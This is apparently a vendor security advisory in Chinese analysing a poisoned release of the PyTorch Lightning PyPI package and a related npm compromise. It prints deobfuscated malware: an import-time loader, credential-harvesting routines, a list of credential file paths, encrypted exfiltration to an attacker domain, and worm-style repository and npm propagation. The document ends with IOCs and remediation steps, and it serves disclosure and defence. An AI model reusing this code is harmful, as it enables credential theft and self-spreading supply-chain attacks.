乐于分享
好东西不私藏

墨思AI AGENT监测发现 PyTorch Lightning 训练框架被投毒,月下载量超1000万

墨思AI AGENT监测发现 PyTorch Lightning 训练框架被投毒,月下载量超1000万

01.
概述
2026 年 4 月 30 日下午 8 点 50,墨菲安全研发的通用安全AI Agent 墨思监测发现,月下载量超1000万的 AI 训练框架 Lightning  的 PyPI 包遭遇供应链投毒,且截至发现时投毒版本仍未下架。Lightning 是基于 PyTorch 的深度学习训练框架,主要用于自动化模型训练流程,具备较高生态影响面。
本次投毒涉及 lightning 2.6.2 和 2.6.3 版本。攻击者在组件运行时文件中植入恶意代码,用户安装受影响版本并执行 import lightning 后即可触发窃密逻辑。恶意代码会收集开发者环境中的敏感凭据,包括环境变量、包管理器配置、Git/GitHub 凭据、SSH Key、云服务密钥、CI/CD 密钥、容器与集群配置、钱包文件、通信软件数据以及 Claude/Kiro MCP 等 AI 开发工具配置,并将数据回传至攻击者控制的服务器。
该事件属于高影响 Python / AI 生态供应链投毒攻击,攻击目标聚焦开发者主机、模型训练环境和 CI/CD 环境中的高价值凭据。建议已安装或导入受影响版本的用户立即排查环境、移除受影响版本,并轮换相关密钥。
02.
攻击者近期持续针对性投毒,前日SAP旗下组件受影响
4 月 29 日,NPM仓库中的@cap-js/db-service、@cap-js/sqlite 等多个组件也被发现存在同类恶意代码。作为 SAP CAP 框架的数据库服务核心组件,在npm中周下载量数十万次。
触发方式是 package.json 里的 preinstall 脚本和 lightning 侧的 start.py 是同一套逻辑的两种语言实现——相同的 Bun v1.3.13、相同的平台资产命名(bun-linux-x64-baseline/bun-darwin-aarch64等)、相同的 Alpine musl 探测,最终执行同体量的混淆 JS 载荷 execution.js(11,723,748 字节)。
setup.mjs      SHA256: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34execution.js   SHA256: eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb

两个案例的时间间隔不到 24 小时,当前攻击者仍在持续用同类手法对其他开源组件投毒。
03.
投毒代码分析
以 lightning v2.6.2为例,投毒代码在 lightning/runtime/routerruntime.js 中:
反混淆后的恶意代码逻辑包括:
1. 导入即执行
文件路径:lightning/__init__.py,当用户 import lightning 时就会静默启动_runtime/start.py:
import osimport subprocessimport sysimport threadingdef _run_runtime() -> None:    runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")    start = os.path.join(runtime_dir, "start.py")    if os.path.exists(start):        subprocess.Popen(            [sys.executable, start],            cwd=runtime_dir,            stdout=subprocess.DEVNULL,            stderr=subprocess.DEVNULL,        )threading.Thread(target=_run_runtime, daemon=True).start()

2. 下载 Bun 并执行恶意JS
文件路径:lightning/_runtime/start.py,这一步把 Python 包变成了“恶意加载器”,如果本机没有 Bun,它会先下载解释器,再执行 router_runtime.js。
BUN_VERSION = "1.3.13"ENTRY_SCRIPT = "router_runtime.js"def main():    local_bun = BUN_INSTALL_DIR / ("bun.exe" if is_win else "bun")    system_bun = shutil.which("bun")    if local_bun.exists():        bun_exec = str(local_bun)    elif system_bun:        bun_exec = system_bun    else:        asset = resolve_asset_name()        url = f"https://github.com/oven-sh/bun/releases/download/bun-v{BUN_VERSION}/{asset}.zip"        urllib.request.urlretrieve(url, zip_path)        # 解压出 bun 二进制到本地 .bun 目录    subprocess.run([bun_exec, str(SCRIPT_DIR / ENTRY_SCRIPT)], cwd=SCRIPT_DIR)

3. 主控流程:收集结果、建立外传通道、再决定是否横向传播
信息窃取不是单点窃密,而是“收集 -> 外传 -> 再传播”的完整攻击链:
async function main() {  await setupEnvironment(); // 俄语环境退出、非 CI 后台化、加锁  const primarySender = await new DomainSenderFactory({    domain"zero.masscan.cloud",    port443,    path"v1/telemetry",    dry_runfalse,  }).tryCreate();  const quickResults = await Promise.all([    collectFilesystemSecrets(),    collectShellAndEnv(),    collectGitHubRunnerSecrets(),  ]);  const githubSender = await createGitHubSenderFromHiddenToken();  const selfGithubSender = await createGitHubSenderFromStolenPATs(quickResults);  const senders = [primarySender, githubSender, selfGithubSender].filter(Boolean);  const collectors = [    new AwsSsmCollector(),    new AwsSecretsManagerCollector(),    new AwsStsCollector(),    new AzureKeyVaultCollector(),    new GcpSecretManagerCollector(),  ];  for (const token of extractGitHubPATs(quickResults)) {    if (await isValidGitHubToken(token)) {      collectors.push(new GitHubActionsSecretsCollector(token));    }  }  await queueAndDispatch(quickResults, collectors, senders);  for (const runnerToken of extractRunnerTokens(quickResults)) {    await new GitHubRepoInfector(runnerToken).execute();  }}

4. 本地与 CI 凭据窃取
它会直接取 gh auth token,还会整包打走 process.env。在 GitHub Actions 里,它不是读普通配置文件,而是试图从 runner 运行环境中把 secrets 挖出来。敏感文件扫描面覆盖开发机、云凭据、Kubernetes、Docker、SSH、AI 工具配置。
async function collectShellAndEnv() {  const result = {};  try {    const token = execSync("gh auth token", {      encoding: "utf-8",      stdio: ["pipe""pipe""pipe"],    }).trim();    if (token) result.token = token;  } catch {}  result.environment = process.env;  return success(result);}async function collectGitHubRunnerSecrets() {  if (process.env.GITHUB_ACTIONS !== "true"return failure("Not Actions");  if (process.env.RUNNER_OS !== "Linux"return failure("Not running on Linux runner");  const dump = execSync(    `sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' | sort -u`,    { input: K4f, encoding: "utf-8" }  );  // 从 runner 内存内容中抽取 GitHub Actions secrets  return success(parseSecrets(dump));}const HOTSPOTS = [  "**/.env",  "~/.aws/credentials",  "~/.config/gcloud/application_default_credentials.json",  "~/.kube/config",  "~/.npmrc",  "~/.pypirc",  "~/.ssh/id_rsa",  "/var/run/secrets/kubernetes.io/serviceaccount/token",  "~/.claude.json",  "~/.claude/mcp.json",  ".kiro/settings/mcp.json",];

5. 加密外传到攻击者域名
恶意代码先 gzip,再 AES-256-GCM,再用攻击者 RSA 公钥包一层。这说明作者明确考虑了被中途抓包和被动取证的问题。
async function createEnvelope(data) {  const gz = await gzip(Buffer.from(JSON.stringify(data)));  const aesKey = randomBytes(32);  const iv = randomBytes(12);  const encryptedKey = publicEncrypt(    {      keyATTACKER_RSA_PUBLIC_KEY,      padding: constants.RSA_PKCS1_OAEP_PADDING,      oaepHash"sha256",    },    aesKey  );  const cipher = createCipheriv("aes-256-gcm", aesKey, iv);  const ciphertext = Buffer.concat([    cipher.update(gz),    cipher.final(),    cipher.getAuthTag(),  ]);  return {    envelopeBuffer.concat([iv, ciphertext]).toString("base64"),    key: encryptedKey.toString("base64"),  };}async function sendToDomain(envelope) {  await fetch("https://zero.masscan.cloud:443/v1/telemetry", {    method"POST",    headers: { "Content-Type""application/json" },    bodyJSON.stringify(envelope),  });}

6. GitHub 备用外传:隐藏 token + 新建仓库 + commit 数据
先去 GitHub 提交历史里搜一个隐藏标记,尝试捞出攻击者预埋的 token。成功后,它会新建公开仓库,把窃取结果提交到 results/results-*.json。某些场景下它还会把新的 token 再次编码进 commit message,形成自举式通道。
async function findHiddenGitHubToken(optionalVictimToken) {  const url =    "https://api.github.com/search/commits" +    "?q=EveryBoiWeBuildIsAWormyBoi&sort=author-date&order=desc&per_page=50";  const results = await fetchJson(url, optionalVictimToken);  for (const item of results.items ?? []) {    const m = item.commit.message.match(      /^EveryBoiWeBuildIsAWormyBoi:([A-Za-z0-9+/]+={0,3})$/    );    if (!m) continue;    const token = Buffer.from(      Buffer.from(m[1], "base64").toString(),      "base64"    ).toString();    if (await hasRepoScope(token)) return createOctokit(token);  }  return false;}async function commitToRepo(envelope) {  const content = Buffer.from(JSON.stringify(envelope, null2), "utf8").toString("base64");  const message = envelope.token    ? `EveryBoiWeBuildIsAWormyBoi:${envelope.token}`    : "Add files.";  await octokit.request("POST /user/repos", {    namerandomDuneName(),    privatefalse,    auto_inittrue,    description"A Mini Shai-Hulud has Appeared",  });  await octokit.rest.repos.createOrUpdateFileContents({    owner,    repo,    path`results/results-${Date.now()}-${counter++}.json`,    message,    content,  });}

7. NPM 传播:篡改 tarball,植入`preinstall`
这是标准的供应链投毒逻辑:下载包、加入 router_runtime.js、写入 setup.mjs、篡改 preinstall、再尝试发布。
它利用的是 GitHub Actions 的 OIDC 能力去换 NPM 发布令牌。
async function updateTarball(tgzPath) {  unpackTarball(tgzPath, tmpDir);  copyFileSync(Bun.main`${tmpDir}/package/router_runtime.js`);  const pkg = JSON.parse(await readFile(`${tmpDir}/package/package.json`"utf-8"));  pkg.scripts ??= {};  pkg.scripts.preinstall = "node setup.mjs";  pkg.version = bumpPatch(pkg.version);  await writeFile(`${tmpDir}/package/setup.mjs`, zT);  await writeFile(`${tmpDir}/package/package.json`JSON.stringify(pkg, null2));  return repackTarball(tmpDir, "package-updated.tgz");}async function executeNpmPropagation() {  const { ACTIONS_ID_TOKEN_REQUEST_TOKENACTIONS_ID_TOKEN_REQUEST_URL } = process.env;  const { value: oidcToken } = await fetch(    `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`,    { headers: { Authorization`bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` } }  ).then((r) => r.json());  await downloadPackages(["@placeholder/package"], oidcToken);}

8. GitHub 仓库传播:向仓库里塞`.claude` / `.vscode` 持久化文件
const FILE_UPDATES = {  ".vscode/tasks.json": vscodeTasks,  ".claude/router_runtime.js": { sourcePathBun.main },  ".claude/settings.json": claudeSettings,  ".claude/setup.mjs": zT,  ".vscode/setup.mjs": zT,};async function infectRepo(ghsToken) {  const branches = await fetchEligibleBranches();  await pushChunkedFileUpdates(    branches.map((branch) => ({      branchName: branch.name,      expectedHeadOid: branch.headOid,      filesmaterializeFiles(FILE_UPDATES),      commitHeadline"chore: update dependencies",    }))  );}

04.
IOC
恶意文件Hash:
3071422c3294e7b61cb490c57c48c8dea569bacf12e57a078293b6547d7586d3  lightning-2.6.2-py3-none-any.whl56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fb  lightning-2.6.3-py3-none-any.whl5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1  lightning/_runtime/router_runtime.js

信息外传地址
https[:]//zero.masscan[.]cloud:443/v1/telemetry
05.
处置建议
通过安全工具排查在代码项目、制品、内部制品库中是否引入了lightning的2.6.2、2.6.3版本
基于文件哈希判断是否存在恶意的 router_runtime.js 文件
如果受影响则必须轮换凭证包括:
  • GitHub:吊销所有 PAT、检查 Actions secrets 全量、改用短 TTL OIDC token
  • AWS:失活 access key、CloudTrail 查 IMDS 请求时间前后的异常调用
  • Azure / GCP:service principal / service account key 全量重置
  • npm:npm token revoke 名下所有 token、检查近一周 publish 历史
  • SSH 密钥对

部分典型客户

七大产品矩阵